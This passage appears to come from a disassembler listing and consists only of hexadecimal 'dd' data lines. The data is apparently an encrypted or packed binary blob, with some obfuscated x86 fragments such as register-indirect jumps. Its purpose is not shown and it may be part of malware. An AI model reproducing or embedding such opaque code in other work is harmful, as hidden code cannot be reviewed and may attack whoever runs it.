		dd 0C0B7CD6Dh, 0C47C328Bh, 61C22Dh, 521D43A2h, 0DDE093F1h
		dd 0BB2DC47Bh, 51AC198Dh, 628BC051h, 5E2DC47Ch,	0BBE1C6BEh
		dd 8D2D8FF0h, 93h, 699229B9h, 7CAAE6DAh, 0EE03CDF3h, 34E015A6h
		dd 262BC2ABh, 54951B0Fh, 1071A708h, 0DD1223B2h,	33CB73E0h
		dd 0FF8DB314h, 9CBA1C87h, 0B063C1EAh, 33CB73E2h, 4DB4F210h
		dd 0AE086A39h, 20C05151h, 16153B68h, 0D02C3BE1h, 0B7ECFD31h
		dd 2DD02C06h, 945F85E6h, 2BEFCE03h, 0A4052DD0h,	0BFC7E543h
		dd 2D5B86E4h, 0D1061779h, 2DD02BECh, 1A2E000h, 53B07AA0h
		dd 0A0B1C253h, 0D02C526Bh, 1B41A22Dh, 0D4E424F8h, 43A5062Bh
		dd 346F14B4h, 305777D6h, 5E8B4F75h, 3B700101h, 2BC934E1h
		dd 0F61472D3h, 22B11390h, 0C3E1DC11h, 0B21333D1h, 1B88FE8Ch
		dd 91870ABDh, 0B9CA1CFBh, 0EF4D582Bh, 0BCD12F90h, 9C3040BFh
		dd 0DEA5C5E6h, 520069C7h, 7D2B6C54h, 0F5AED829h, 0DC117593h
		dd 0D48FB9DCh, 49DA3BB5h, 85BA0338h, 0D93A6AEBh, 0B4DAC9B9h
		dd 2EBACAE8h, 0AEF58F55h, 2F90EF4Dh, 2087FE9Eh,	713D63C2h
		dd 28E1846h, 28862562h,	7115A3C9h, 0D4B2D032h, 0CF046F18h
		dd 6AEB85EEh, 0DB3C9DFEh, 24DD7Dh, 29090000h, 0C5908A92h
		dd 0EF15D7CEh, 4C819221h, 2DC51471h, 13A31A4Fh,	0E8492DC5h
		dd 8E1D6B8Bh, 2E750D2Dh, 0EF9A4408h, 424462C0h,	96ED0B69h
		dd 0F593B10Fh, 483A58B6h, 0A3DFFD5Bh, 84A200h, 5E2745A3h
		dd 0BCCBE947h, 681B93F1h, 3AD7h, 68241489h, 508Ch, 68241C89h
		dd 5CE7h, 56243C89h, 492158BEh,	0BB534E3Eh, 6BDB1E2Bh
		dd 5DA7F381h, 0DBF7587Eh, 415AF381h, 0D3F75A10h, 0FFCFEB81h
		dd 0DE21FA1Dh, 3E6C15Bh, 5F58E681h, 0EE812AE9h,	19FABFA2h
		dd 545EF389h, 83243C8Bh, 0EC6804C4h, 89000071h,	478F241Ch
		dd 2434FF08h, 4C4815Fh,	0FF000000h, 815B2434h, 4C4h, 2F7BE900h
		dd 2005FFF9h, 0B75AD88Dh, 70D259B6h, 0B8170FF1h, 60D4D86h
		dd 0E0FFC503h, 18DA5C0Bh, 1FFF2258h, 4314809h, 22F7C97Dh
		dd 18E531A1h, 39476F13h, 2629EE7Ch, 78C9321Fh, 260E0432h
		dd 6D5F0B84h, 2D5BDC99h, 7F131D79h, 7BF57470h, 380657DEh
		dd 6CEDCFDCh, 35749AD7h, 0C8F93CDh, 781CCE4Eh, 1853BCDFh
		dd 1F682C5Ah, 0A68C3C4h, 1FC19D98h, 41747273h, 2D97CCEh
		dd 337637D4h, 6DB25F6Ah, 7B096255h, 13551D05h, 1F9FEFC7h
		dd 70D28CA2h, 2F91EE31h, 6F2304EBh, 55E900E5h, 0FC000005h
		dd 9EBC1E8Dh, 3A58BAE9h, 0DCFA5C4Bh, 7B99FBA8h,	3F3A9C07h
		dd 0C1E2A0B6h, 6847415Fh, 89BE806h, 0A5FE88A6h,	386DEE43h
		dd 33D1CA85h, 9A8D5167h, 4361BFECh, 0E402643Fh,	713E4AA2h
		dd 0F294B210h, 0C01E8DFAh, 84A20061h, 2C4AA803h, 0D5F3515Ah
		dd 789BF9B0h, 88BE4C5Ah, 865B1F3Dh, 972869CAh, 0B71590F7h
		dd 90163258h, 5961571h,	9576A26Eh, 1256B811h, 9480D54Bh
		dd 0A4749AFBh, 0EECF0415h, 0FE2DC4D0h, 9AE9779Dh, 91AA90Bh
		dd 0C4D0E9D4h, 84AA0B2Dh, 2D578DF6h, 0D0AC1146h, 0DF402DC4h
		dd 0A1BF1D7Eh, 5A6398E7h, 9A2DC4D1h, 5C7AD839h,	523812Ah
		dd 86C52382h, 0C5F2CED8h, 91F20F97h, 1A783353h,	0DAF85ABBh
		dd 0EEA1FFACh, 2DC4D0D2h, 0FD109634h, 0A8EDC9F3h, 7F265DFDh
		dd 149CC221h, 85h, 0EECF0415h, 0FE2DC4DCh, 9AB3779Dh, 1F8400ECh
		dd 9CD162C1h, 2DC47C21h, 0B31172D3h, 0C47BBF00h, 0FBAB492Dh
		dd 0ED74DE12h, 187B12A8h, 236F0919h, 10890B6h, 44000000h
		dd 0ABFA8929h, 1590F785h, 7F3E7384h, 0B22DC47Ch, 6077D4D3h
		dd 3C595686h, 0E006670Fh, 1291F614h, 0B9EE96B4h, 5A493D5Bh
		dd 3CA8DEFCh, 9EFC5D46h, 0EFA00380h, 9ADBE5C1h,	4047BAECh
		dd 0A1E50365h, 11A002h,	0C56BF2CBh, 7BA1022Dh, 0BBE89AB7h
		dd 0ACFB8A2Ah, 942BBA86h, 95E51962h, 5CEA1003h,	0B922802Bh
		dd 1C669B0Bh, 7F072587h, 25861D65h, 0CDDCA9C7h,	99DB96Fh
		dd 49FE787h, 9F2147A6h,	0A8EDEF61h, 7D06h, 0E89A4200h
		dd 463F5DBBh, 31C2015Fh, 56B4F391h, 0F1B5D1F7h,	1A89FF9Fh
		dd 871C66F4h, 287B0725h, 148FF797h, 0FC9322EEh,	0ADD1BA5Eh
		dd 24B2D855h, 340D8D60h, 0D28D8342h, 4340E071h,	66C4E3A1h
		dd 0E948A607h, 0C99A2358h, 0F95A2DC4h, 355107D3h, 0E2881F71h
		dd 75638D14h, 1EE2648Ah, 49A8EDC1h, 43h, 0BBE89A85h, 61443F5Dh
		dd 0E4C2E003h, 0DC3E651Dh, 1C2AB64Dh, 5A16B39Dh, 89297034h
		dd 734A7FFEh, 792DC47Ch, 391B718h, 18CB2984h, 2DC47BA8h
		dd 4A3DDD5Eh, 8D19355Bh, 0ED757080h, 1F7A8h, 9A330000h
		dd 405EBCEBh, 2CCC5D46h, 8EED4B58h, 43719C68h, 0AE79E63h
		dd 0A52BFE04h, 63BCCE4h, 2DC554B7h, 197BDC3Dh, 51ACA2BFh
		dd 0E8D3C2D4h, 0FF10A102h, 0C530F3CAh, 2D90C52Dh, 0BF2DC531h
		dd 0FA0015Eh, 0C530E3DAh, 82A8092Dh, 0B1D27283h, 0F2B1D2F2h
		dd 2FBBA9CCh, 0D0312BC3h, 484CE372h, 0D19DFBDCh, 0F6901E44h
		dd 592D4BADh, 8639EC4Ah, 0A233CB26h, 0A7DF2284h, 6B0B9AFCh
		dd 0D1308E1Dh, 3A691DABh, 6F7D09A9h, 0CD2C8A19h, 1EAF0E6Ch
		dd 0CB25D4E9h, 91B71833h, 0C4DFA7C5h, 574FFD66h, 7510DCAAh
		dd 1071D02Eh, 0D90E1FAEh, 33CB25E4h, 0FF81A708h, 0AEF41EF1h
		dd 14876h, 31667700h, 33CB328Ch, 61424060h, 5E16DA00h
		dd 3B700101h, 2BC26291h, 86256383h, 0DDA9C725h,	0D12F760Fh
		dd 91AF1172h, 0C958B6F5h, 0F04E5D29h, 96912C61h, 26333CAh
		dd 99ED7BA1h, 0F78EAC0Ah, 6EE0E1FAh, 4CAD4F00h,	0ECB7D0EEh
		dd 760F2F8Eh, 0ABF3CAFFh, 98F933CAh, 80AED937h,	812F9A26h
		dd 1AADC25h, 0A5638D9Fh, 3D04AEF3h, 40000000h, 7203075Eh
		dd 0C47CB03Dh, 0B243A42Dh, 0D7357212h, 762D5878h, 0ECD18450h
		dd 0AC2DC47Bh, 469D287Eh, 0A0B142h, 0D8FB2182h,	2DC47C15h
		dd 0C565F657h, 2988E6BDh, 9E933303h, 0BF000000h, 0AFFE8929h
		dd 62A2BF89h, 2429C0D1h, 18F949B3h, 31E3062Ch, 232BC307h
		dd 0C1F68503h, 33CAFEFCh, 0CD2E8FF0h, 0B420A53Ch, 0D0949545h
		dd 0C6C0DEAAh, 0DBEC7BDDh, 0CAA717A6h, 567CDD33h, 87E5BEC8h
		dd 0CAA6BED4h, 0D8CEEC33h, 0F68F5D29h, 92EC4EAFh, 6FA4357Dh
		dd 31CF60BDh, 0E170CE2Fh, 0FEB604Ah, 0F71DCBF6h, 308E1D69h
		dd 0D4327112h, 77D5D2B6h, 0B40C9AC8h, 784D5987h, 798A1B1Bh
		dd 9CFAA9D9h, 7035883Dh, 56B72DD0h, 0F7555236h,	62737298h
		dd 0BFE5C2C2h, 0D529909Ch, 7FE1422Bh, 4B015E2Bh, 0F5D92168h
		dd 0E1797A50h, 75C595ACh, 194EDF40h, 2BC97F13h,	0FC1A78D9h
		dd 0A1BF218Ah, 0B568C6E5h, 313944F5h, 0C43D6917h, 6987E9C2h
		dd 0A1308E1Dh, 0C9278601h, 6ECCD7ABh, 0FA88AE0Fh, 0A1BF1D8Ah
		dd 4B69C7E6h, 0E5106E3Dh, 6CA1EFB7h, 2EA9BB51h,	0B4E142A3h
		dd 0A5E12086h, 86A406h
		dd 3A545A3h, 0D1000000h, 0EF9A065Ah, 424462C0h,	96ED0B69h
		dd 0F593B10Fh, 483A58B6h, 0A3DFFD5Bh, 84A200h, 5E2745A3h
		dd 0BCCBE947h, 561B93F1h, 0C681E689h, 4, 5604EE83h, 42474FFh
		dd 24048F5Eh, 0E289525Ch, 4C281h, 0EA830000h, 24148704h
		dd 2414895Ch, 3CB468h, 24348900h, 0D4E9E68h, 24148B06h
		dd 4C481h, 8B540000h, 0C4832434h, 8B95104h, 1000000h, 8B1189F1h
		dd 0C481240Ch, 4, 5E2434FFh, 0FF04C483h, 835A2434h, 96E904C4h
		dd 0AFFFF929h, 0E85EC271h, 0B2EC553Bh, 0D80670B1h, 0D537AB8h
		dd 0FFC50306h, 81F2DE0h, 71F4543Fh, 7B44F163h, 13472B7Ah
		dd 65CF1570h, 0B5ABF32Dh, 97B98B12h, 0B74AB047h, 0C3B2FB36h
		dd 58E1AB75h, 638FD554h, 11B52D28h, 0DAF65648h,	3FA7DC51h
		dd 6004EB3Bh, 0E978E678h, 58Bh,	1D7F2E5Bh, 0BB1D88FFh
		dd 5FC1E89Dh, 2644341h,	0A3059EE4h, 7909DFA8h, 0DEAAC82Ah
		dd 32516FD1h, 93F31173h, 0E061B618h, 0D1D012ABh, 0CDCCE233h
		dd 1EF3A936h, 305660CFh, 0BFEC9A6Ch, 643F4361h,	9A2E402h
		dd 54851CABh, 0BDD99Ah,	5234C2E8h, 0AADDFB59h, 87F9DFBh
		dd 65213F9Dh, 44A20187h, 32684E5h, 9ACFC1E5h, 2DC4F323h
		dd 0C60768C9h, 6B028E18h, 9AEC9204h, 3D54B311h,	6288C45Dh
		dd 97F9B2D4h, 399B0A79h, 0DF3D681Bh, 8AE8C7C1h,	318F1C6Ch
		dd 0D5337213h, 962A7CAAh, 966B3B69h, 3654B6EDh,	22C25350h
		dd 85E44261h, 0E0E0935Fh, 262DC532h, 1EF1E88h, 66A8EE2Ch
		dd 70h,	0E8BBC767h, 1829FEC2h, 0C47BDAE3h, 93B91A2Dh, 0C4228105h
		dd 0C47BAE11h, 0EEB8562Dh, 0AD240BA2h, 3623CF15h, 0F1628E10h
		dd 0EE8EA8EDh, 5FE70D9Ah, 0Ah, 3E6DC960h, 70CDE02h, 0ED9A1DE1h
		dd 454260BEh, 7BBC0136h, 1A6D2DC4h, 6CCD2E8Bh, 0F94F00Eh
		dd 0E2C472B1h, 55689DAEh, 972DC47Ch, 33701636h,	0C25076D5h
		dd 6684E6C5h, 0CD218320h, 2ABBE89Ah, 7BD9E419h,	0BA1B2DC4h
		dd 0DDAAC894h, 325270CEh, 8EF91775h, 809EC11Fh,	812F9A26h
		dd 3EA6DC25h, 72015F44h, 0C47C803Dh, 0B213742Dh, 0B5D1EF51h
		dd 0B7A98F6h, 7C86376Ch, 0E4A32DC4h, 0AF0C6BC9h, 570374Eh
		dd 46EC1F9h, 738F45A3h,	82C65D33h, 416A1C4Ch, 99458C2Ah
		dd 3C9A0979h, 0CB35B7DDh, 25A8EDA4h, 7EA40385h,	7AF6h
		dd 0E89A3200h, 0BE1F8CFCh, 64434260h, 8D19C706h, 33950E74h
		dd 0D8366D15h, 7FDDCABAh, 29872661h, 186F7D0Bh,	6FD02F8Dh
		dd 8224D211h, 3C6A863Eh, 0ED7B2FD1h, 5F38A8h, 28390000h
		dd 0C485CAF3h, 0A3C92A2Dh, 0BBE89ADFh, 937CE5Dh, 10B9821Fh
		dd 0CBB8466Ch, 295C7AD8h, 88FE1C7Ah, 0D07EBD1Bh, 0A7C5EAD6h
		dd 238002FFh, 0D532FB92h, 17720023h, 0C06C5186h, 1F802DC4h
		dd 9AD529F9h, 0AD60BEEDh, 2DC47C13h, 0BE4F57F5h, 0A8ED7532h
		dd 3B681EBEh, 0D0587EDDh, 1, 0BCEB9A0Ch, 5D46405Eh, 45A3E1FFh
		dd 0A4026342h, 88A8FF86h, 284BA9FAh, 0F7249C0Ah, 13B3DDC9h
		dd 800E346Fh, 0E23C9E05h, 0BFF4858Dh, 2BC27AA5h, 0BAD83697h
		dd 5F7DDFCCh, 0DEC5BD27h, 62C02180h, 0CA7D10AFh, 0A8FE1C33h
		dd 26C82D59h, 0B599C9AFh, 0D12F760Dh, 4EB01172h, 0EF4D5630h
		dd 98F6B5D1h, 0DC25812Fh, 5F7001AAh, 0CA85932Ah, 0B9EE9633h
		dd 3E9FFC5Bh, 0BA364818h, 36AEF37Fh, 98B8EF96h,	0FC5BB9EAh
		dd 1964ED6h, 298A0000h,	7BDAE318h, 0B91A2DC4h, 7BCAF328h
		dd 0C92A2DC4h, 7C84D9A3h, 6216B6EBh, 0BB1C2BC2h, 0AEFD8A2Ah
		dd 95D5E81Dh, 0B61733CAh, 0E0A6C490h, 434361C3h, 9AEC0A68h
		dd 3A6F8011h, 33CA9683h, 9BE80869h, 254BAA08h, 6442F059h
		dd 29BAE99Dh, 4FADFC89h, 0E8FACAF0h, 0AEF38F08h, 715Fh
		dd 75E9B00h, 0B3D27203h, 2E17B93Eh, 0DC3D7610h,	0FAF91F7Eh
		dd 6F3E49E9h, 0F592B211h, 806D90B6h, 742DC4C4h,	60718213h
		dd 0C4C4922Bh, 4C01622Dh, 2DC4C471h, 0F90374C9h, 0A0FD36C6h
		dd 0BE4D193Fh, 9DADC527h, 8AA3BAE9h, 0F4B3D2F4h, 734A6D93h
		dd 252DC542h, 0FF16AFF7h, 0F8F52ABBh, 0C82DC541h, 423B82B7h
		dd 50B12DC5h, 9CFE5F2Ah, 0C7FCh, 15E2800h, 0D93B7001h
		dd 972BC268h, 0DDB3C400h, 0CB0815A8h, 5F76D733h, 4369173Ah
		dd 0BB2E778h, 0E133CB64h, 7D266080h, 0E6A0BE1Ch, 493D5BBDh
		dd 4949FC5Ah, 7733CB64h, 8D306576h, 5F33CB64h, 0EABCD8FEh
		dd 0BF120FA6h, 0E9A6824Bh, 525135C3h, 397996F0h, 920097A8h
		dd 0DFDE135Bh, 1533CA97h, 687C9DB4h, 6D5E81A7h,	2F31CF81h
		dd 4F5D1C98h, 82A86D79h, 0DAF856B7h, 83A1FFACh,	2644A201h
		dd 0C8EB495Eh, 97C4FCAAh, 0BC533D69h, 537875E7h, 902D6254h
		dd 642DCFE5h, 0B27CA203h, 0B9EE965Dh, 81B6C758h, 2DCFE53Ch
		dd 2A294FB0h, 0D498D6F5h, 4D3A5A2Bh, 5CBDE89Fh,	6A0A99FBh
		dd 0EDBACE1Ah, 0AFCF308Fh, 0E0A4CAD9h, 0AB7A9229h, 0DF5724F5h
		dd 76C2F5C8h, 72DECF0h,	4FE0203Dh, 0C9DEB11Ah, 706C032Bh
		dd 0A405E38Ch, 8BAB769Ch, 0F04FADF8h, 7313318Fh, 0CEB8D638h
		dd 5EC477D5h, 70593CE4h, 691DE4C2h, 0B249D83Ah,	12388DC7h
		dd 8DC2530Eh, 0A6AB4C30h, 0AF3D63C4h, 9B3BCCD7h, 0C894BAE9h
		dd 6FCDDAAAh, 71901644h, 0A5349615h, 4C5E5F94h,	0FD8EA6ABh
		dd 0AB4BF5C8h, 3596F7A6h, 0A605810Fh, 3A848h, 5AD40000h
		dd 0C0EF9A06h, 69424462h, 0F96ED0Bh, 0B6F593B1h, 5B483A58h
		dd 0A3DFFDh, 0A30084A2h, 475E2745h, 0F1BCCBE9h,	0C0681B93h
		dd 89000045h, 34682434h, 89000078h, 0A868243Ch,	89000048h
		dd 62BF240Ch, 527B5A28h, 461BEEBAh, 5AD7217Bh, 6D75CF81h
		dd 0C7817C93h, 12690625h, 5517C781h, 0C7814A33h, 299D8B8Ch
		dd 2D9468h, 24248900h, 4240481h, 59000000h, 89FD8955h
		dd 2C8B0869h, 4C48124h,	0FF000000h, 81592434h, 4C4h, 243C8B00h
		dd 81E38953h, 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 0FFF923BDh
		dd 0D53648C8h, 0FF8BF08Ah, 0B801CFE5h, 60D593Dh, 0E0FFC503h
		dd 94DFF34h, 7323B9ECh,	21FEFE83h, 737A8664h, 52ACA045h
		dd 0BF530D8h, 73C3E322h, 4241623Dh, 365C313h, 57C6AF8h
		dd 3B851E3Fh, 776C1482h, 7B97BAC5h, 7FF37018h, 71DBD958h
		dd 525304EBh, 0BCE97043h, 80000004h, 1A389A09h,	0BEDC3E6Dh
		dd 607EE0C7h, 0FF1D7F24h, 0C3BE2083h, 455E243Ah, 0E4C3C5E3h
		dd 841F6482h, 29820422h, 0BCF172C7h, 33D1D601h,	2919DDF3h
		dd 4FADFC89h, 932A5FF0h, 592DC47Bh, 4244D2F8h, 0E57C0B69h
		dd 7CBF51Ah, 0BA486E84h, 5B79DBC8h, 422802Bh, 0ADCB2982h
		dd 9A3ACBDAh, 5FBDEAh, 21CF0EDAh, 186B0B85h, 0AAD02F8Dh
		dd 0DF416A1Ch, 0A99FB950h, 51CEA010h, 2E545331h, 2FC0E3A0h
		dd 50E41F98h, 2349F6D8h, 7EB3C453h, 2DC5453Fh, 0A02E54B5h
		dd 4462C0E3h, 0DE096744h, 780BF6B0h, 318F146Eh,	0F10F71D2h
		dd 5B81695h, 2DC544BBh,	86BBCC4Dh, 2DC54537h, 1A365CBDh
		dd 3E6F818Ch, 5BF8A8EEh, 34000000h, 61BFEC9Ah, 0C47C11AEh
		dd 5155F32Dh, 0ED7534BCh, 633A8h, 94340000h, 0C98DB3F0h
		dd 60BEED9Ah, 0D5664542h, 4D9CDA3Eh, 759B7570h,	0D4091AA9h
		dd 2DC4C1E9h, 0F684AA0Bh, 7CBB198Eh, 18A5DAEBh,	0DC2DC4C2h
		dd 6D39557Bh, 27B8F394h, 6782F490h, 87AD2076h, 0BEED99B7h
		dd 0E89A085Ch, 2ECE5DBBh, 89BE4F54h, 2DC47C34h
		dd 0A33157B8h, 2738C9E4h, 0C47BCBF2h, 5B8ED2Dh,	0E72DC47Ch
		dd 0A2C82986h, 0E7BF6DD6h, 87C681Ah, 7DDE3D9Bh,	1A89FD1Bh
		dd 0D9CE989h, 533050AFh, 6D93F250h, 0A30283A1h,	33738F45h
		dd 0ED7B26DAh, 84B9CAA8h, 2DC48639h, 0AC345ABBh, 4Ah, 0BBE89AE8h
		dd 5F463F5Dh, 5A0E301h,	0AEFD89A7h, 318CC150h, 0C32DC47Ch
		dd 2383B162h, 0F8AE5C9Dh, 0C82A7909h, 6DCBD8AAh, 106E354Fh
		dd 0A5683E5Ah, 0A8ED7B5Bh, 4B0Ch, 0E89A4800h, 443F5DBBh
		dd 0C2E00361h, 3E651DE4h, 0ED9A88DCh, 0C0D160BEh, 0C47C328Bh
		dd 3B61C22Dh, 0C47BA818h, 0CCDD5E2Dh, 0C47C2697h, 3F65C62Dh
		dd 668A8323h, 1A8ED75h,	10h, 1BCF102h, 0F32DC488h, 94137292h
		dd 0EDB1D736h, 578CEB9Ah, 2DC47C66h, 66C42586h,	7653E48h
		dd 9F8AEDCh, 0D5186E7Ch, 0CCE39962h, 94F2531Bh,	1872D435h
		dd 0F52ABBFBh, 2BC2D66Fh, 69AEFA91h, 4889DDA1h,	65F65722h
		dd 0C8E8BFC5h, 2988E6BDh, 6D193703h, 0C8BEDC3Eh, 0DBAA4ADBh
		dd 0E90F6ECCh, 6A556A1Dh, 0B5D333CBh, 2D7610F1h, 0CAD9ADCBh
		dd 0CAF32839h, 7033CB69h, 1B17E624h, 4CAD0A80h,	4A3C5A26h
		dd 0EC9A0361h, 643F47BAh, 2300F002h, 0F567AEF4h, 0A3000000h
		dd 7001015Eh, 0C262913Bh, 0C422832Bh, 0B2F19535h, 594E3654h
		dd 153B9CFBh, 42A4FF87h, 0B8496224h, 964B72A7h,	40A133CAh
		dd 56304E1Ah, 0D886EF4Dh, 585333CEh, 0F99F30C7h, 8F21910h
		dd 0F00012E2h, 77AEF43Eh, 2Ch, 0F4AFD878h, 75E0ACEh, 0B03D7203h
		dd 0A42DC47Ch, 8B32E543h, 0D2DC47Ch, 0E7FEC7DFh, 10DD12A3h
		dd 442DC47Ch, 81E181E3h, 0D000000h, 7001015Eh, 47F3C85Fh
		dd 928F817Ch, 0D4B673B9h, 8AB01143h, 0C2CCAD67h, 0E03E9F2Bh
		dd 85E7C4C2h, 0C0C51F67h, 772A88E9h, 33CAF41Bh,	867B2B49h
		dd 0E741A300h, 0C4F98A8Ah, 31CF99ECh, 92785E6h,	5A196F7Dh
		dd 0CF9D9825h, 9AFB5C2Dh, 82B0DB39h, 444CA124h,	60BA2B3h
		dd 0A6153785h, 0AD03264Ch, 0F32BD49Bh, 9C10ADE2h, 0C4E433CAh
		dd 2685E3C0h, 73D49FC5h, 3C718211h, 33CA9C81h, 28EC1273h
		dd 7001015Eh, 0A4194E5Fh, 482DC47Bh, 129EC1E7h,	0C02BC922h
		dd 562ECE5Fh, 394F351h,	0D1D5EFCEh, 7EA40533h, 0B9F294B2h
		dd 5E4D3957h, 0D1B84D00h, 7D096197h, 0D1B2D02Eh, 0D3346F13h
		dd 72345275h, 475F0D4Eh, 4EDFCCBAh, 0FF598EB7h,	294F2D80h
		dd 604B3B59h, 4F562FCFh, 0B6E4DCF1h, 8FBD977h, 97B581A7h
		dd 2D58B6EDh, 2C5AA7FFh, 87FF1D7Fh, 0D1EBE1Ch, 4A000000h
		dd 0DAE31829h, 1A2DC47Bh, 71C593B9h, 62C0EF9Ah,	0B694244h
		dd 0B10F96EDh, 58B6F593h, 0FD5B483Ah, 0A200A3DFh, 45A30084h
		dd 0E9475E27h, 93F1BCCBh, 4EC811Bh, 89000000h, 0E189240Ch
		dd 4C181h, 0E9830000h, 240C8704h, 0E689565Ch, 4C681h, 0EE830000h
		dd 24348704h, 2404895Ch, 81E18951h, 4C1h, 4E98300h, 5C240C87h
		dd 52241489h, 8C063DBAh, 5AD08935h, 162AF70Dh, 35D0F717h
		dd 0CE6C8B1Ah, 0C668h, 24248900h, 4240483h, 0C789575Ah
		dd 8B087A89h, 0C483243Ch, 24148B04h, 81E78957h,	4C7h, 4C78300h
		dd 5C243C87h, 582434FFh, 4C481h, 0AAE90000h, 0E3FFF91Eh
		dd 0B8B54274h, 60D5E44h, 0E0FFC503h, 10F23D1Fh,	1474573h
		dd 1FAB15A7h, 5EC71BFh,	4DD25F49h, 6CD94733h, 502A42B0h
		dd 24C99AD3h, 7955598Bh, 79CC2AD0h, 3BE01EB7h, 2991D22Ch
		dd 3B75DFE2h, 7398A03Fh, 24935ACCh, 106E7568h, 5FE48D8Dh
		dd 6A060Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 11E9F1C3h, 0E7000000h, 0B51BE3A7h, 7939DBA1h
		dd 346F75D0h, 238D4D47h, 28DD8D89h, 858B0606h, 6063379h
		dd 111185C7h, 64480606h, 8B660000h, 0F1B70FC3h,	2E4985C7h
		dd 606h, 9D0B0000h, 606277Dh, 1325B5FFh, 6A0606h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 621BDAC3h, 698D8995h, 0FF06061Dh, 6079195h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0CC493E19h, 0B764E5D2h, 0B8664910h, 6A7AD7h,	1AC995FFh
		dd 0C08B0606h, 8E967AEBh, 0CBF3D589h, 3FCC0419h, 1B568236h
		dd 252F5B3Eh, 5A1EBDE5h, 6520ADBDh, 65D991D9h, 0EB473208h
		dd 1EA7DCCEh, 46FBDD1Ch, 3B4FDD08h, 0D31ED412h,	5425BC19h
		dd 0DD3C8A49h, 4CE0845Bh, 7578EB89h, 8B4D4D87h,	0F7F6C7Ah
		dd 0CD059B35h, 781AB004h, 0A2E360EAh, 0C5BCB975h, 87833D92h
		dd 865DE0FBh, 0ED856891h, 4CDA7E90h, 8A9E8F6Bh,	63B256CBh
		dd 1F87D7C6h, 8FC78857h, 594404EBh, 47E90F11h, 2C000005h
		dd 0CEEC4E5Dh, 6A88EAB9h, 0C2A8C1Bh, 0ABC92B78h, 6F6ACCD7h
		dd 0F1B2D086h, 9817718Fh, 386B1836h, 0D5CEB8D6h, 689D1E73h
		dd 33D1DC55h, 9ABD8197h, 4361BFECh, 7302643Fh, 5134B2D3h
		dd 7E93F152h, 0BBB5E0A2h, 0F081E2D6h, 0C55302BBh, 6B91F22Dh
		dd 9CFAA9DDh, 3D9B087Eh, 0DF3D681Fh, 4DB4F2A0h,	15DAAB39h
		dd 3C1D1028h, 2886E787h, 0E80668C9h, 88A6089Bh,	8017A8FBh
		dd 0CF1E2A0Dh, 643056C9h, 564D35D5h, 0E57399F8h, 7BA604A3h
		dd 0DBA8594Dh, 0E8C77712h, 0C410430h, 2DC505B1h, 2081E243h
		dd 0BDE6A0BEh, 614AC5Fh, 54F22DC5h, 0FF35BB52h,	5C32A8EDh
		dd 6E000000h, 61BFEC9Ah, 0C47C11AEh, 5155F32Dh,	0ED7534BCh
		dd 133A8h, 9A6F0000h, 1D88FFEDh, 47405EBCh, 0A4E0FE5Ch
		dd 183A1FFh, 0A506A5E3h, 8D5B2947h, 0ED4BACFBh,	0C6FAACCAh
		dd 0C1CFD785h, 0E8466521h, 0B2D56389h, 137391F3h, 10A73698h
		dd 0F3A291A9h, 49526C13h, 65B4647Bh, 2903C7EDh,	51AFFE89h
		dd 443ECCF2h, 0B5EFB8A9h, 9AFBA7C0h, 3A691E3Ch,	0E1C573DCh
		dd 0B0416220h, 0F4536A9Fh, 38992DC4h, 13B34212h, 75D43271h
		dd 0E6C5C14Fh, 0CD1B6A88h, 7593F1B8h, 0D637980Fh, 0A6C278h
		dd 0EDF2F30Dh, 9174A8h,	0DE750000h, 0BABBB024h,	0F7BBE195h
		dd 0D505E89Ah, 0A14A5AE9h, 0DEFC5ABBh, 0A64441A7h, 564C2E1h
		dd 86E746A4h, 6B3BE928h, 0E9FF8525h, 50AE0F9Eh,	0F2318CC1h
		dd 62C32DC4h, 354DDB01h, 94EE0C6Eh, 1122B10Fh, 0C4F1E1DCh
		dd 0EFC132Dh, 146221C4h, 0A03950B1h, 12222D4Fh,	0EF952349h
		dd 0D06A5388h, 0C1C72DC4h, 0C32485E2h, 1393AF65h, 0EDCF06FAh
		dd 5F61A8h, 9A9D0000h, 3F5DBBE8h, 0AE6A244h, 6DCE2F7Ch
		dd 0D8CEEC0Fh, 0FC8B5929h, 0B81996F2h, 9AA1F557h, 0AD60BEEDh
		dd 2DC47C13h, 548A671Eh, 0A0A9DB81h, 13318FF0h,	6FD83675h
		dd 681CE5C1h, 1D7EDD3Bh, 0D2B353D4h, 0F01675D3h, 0B53BD2D4h
		dd 0B2A8EE5Ah, 0Dh, 327113B3h, 0CA5D991Bh, 0A3C98A9Ch
		dd 0BCEB9ADFh, 5D46405Eh, 0A6D4FFh, 0C3258401h,	7B0C1469h
		dd 0D7FDA8DBh, 7AC1A3D8h, 0D2332BC2h, 9E7A141h,	72D12F7Eh
		dd 11FEB11h, 0A6C42685h, 0B265C3E0h, 33CA7D0Dh,	58A9FD1Bh
		dd 0F513752Eh, 70811291h, 91EFB4D0h, 7D407D32h,	53B433CAh
		dd 0C1D2612Dh, 0E5436221h, 7CECD186h, 9F0033CAh, 109BEB79h
		dd 18B849B2h, 0EAD3086Bh, 0A33CA7Ch, 8BEA48A9h,	335D4965h
		dd 54B2F193h, 0F9574C36h, 8513399Ah, 7111A201h,	0D9389615h
		dd 1FD1E3B3h, 48AEF376h, 115h, 1015E84h, 62913B70h, 22832BC2h
		dd 0C3E0A6C4h, 68434361h
		dd 119AEC0Ah, 0F4F295B3h, 5BBA1893h, 97E9CFAh, 0FB193C9Ah
		dd 19AA15ABh, 4976B82h,	0DB017DD8h, 6C1AE7BFh, 14F21B89h
		dd 0C425EAFCh, 22A05062h, 0B950AEF4h, 1D888907h, 169EC4CEh
		dd 45h,	3075E52h, 7CB03D72h, 43A42DC4h,	7C8B32E5h, 0DF0D2DC4h
		dd 83B8C9C7h, 2DC47C3Ah, 693359BAh, 6E354F12h, 0A6477C0Dh
		dd 0A62DC47Ch, 7014B445h, 0AE3D0D33h, 1179740Eh, 4B41E3Ah
		dd 0CADA0061h, 7Dh, 1015EF6h, 0CCC85F70h, 0F8235F2Ch, 0EB294C72h
		dd 0E12BC32Ah, 1D4892CAh, 6FD09345h, 5993F311h,	0B81A7B2Ah
		dd 61BFEC9Ah, 0CB16E4AEh, 71111233h, 55719716h,	0ED6B051h
		dd 73D23077h, 3956B012h, 0C05768F9h, 2B32FFB9h,	11345A22h
		dd 31CF7F0Bh, 42280E1h,	0A0CB2982h, 7C913472h, 8403A334h
